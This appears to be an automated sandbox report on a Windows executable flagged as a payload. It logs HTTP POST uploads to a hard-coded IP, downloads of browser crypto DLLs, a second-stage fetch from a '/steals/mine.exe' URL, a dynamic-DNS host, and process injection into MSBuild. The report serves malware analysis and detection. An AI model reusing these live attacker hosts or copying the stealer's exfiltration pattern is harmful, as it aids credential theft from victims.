Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGDAKEHJDHIDHJJDAECUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 99265Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 278Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIJEHCBAKFCAKFHCGDGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 6801Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steals/mine.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: arpdabl.zapto.orgContent-Length: 5865Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.176.241

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Code function: 0_2_003D5010 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_003D5010

Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steals/mine.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache

Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: arpdabl.zapto.org

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 168.119.176.241Content-Length: 278Connection: Keep-AliveCache-Control: no-cache

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/steals/mine.exe
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://147.45.44.104/steals/mine.exe1kkkkles
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://147.45.44.104/steals/mine.exea
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://5.0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	String found in binary or memory: http://64532127VdtSrezylanAPTHSymMatchStringInternetSetOptionAHttpQueryInfoAdbghelp.dllSetThreadCont
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arp.119.176.241GD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.DAECIIDGD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.FCBFHIIDGD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.IDGD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.JJDAEContent-Disposition:
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.org
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://arpdabl.zapto.org/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.orgAEC--
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zapto.orgorm-data;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zaptoIIDGD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: http://arpdabl.zaptoVWXYZ1234567890isposition:
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896738110.00000000032AF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
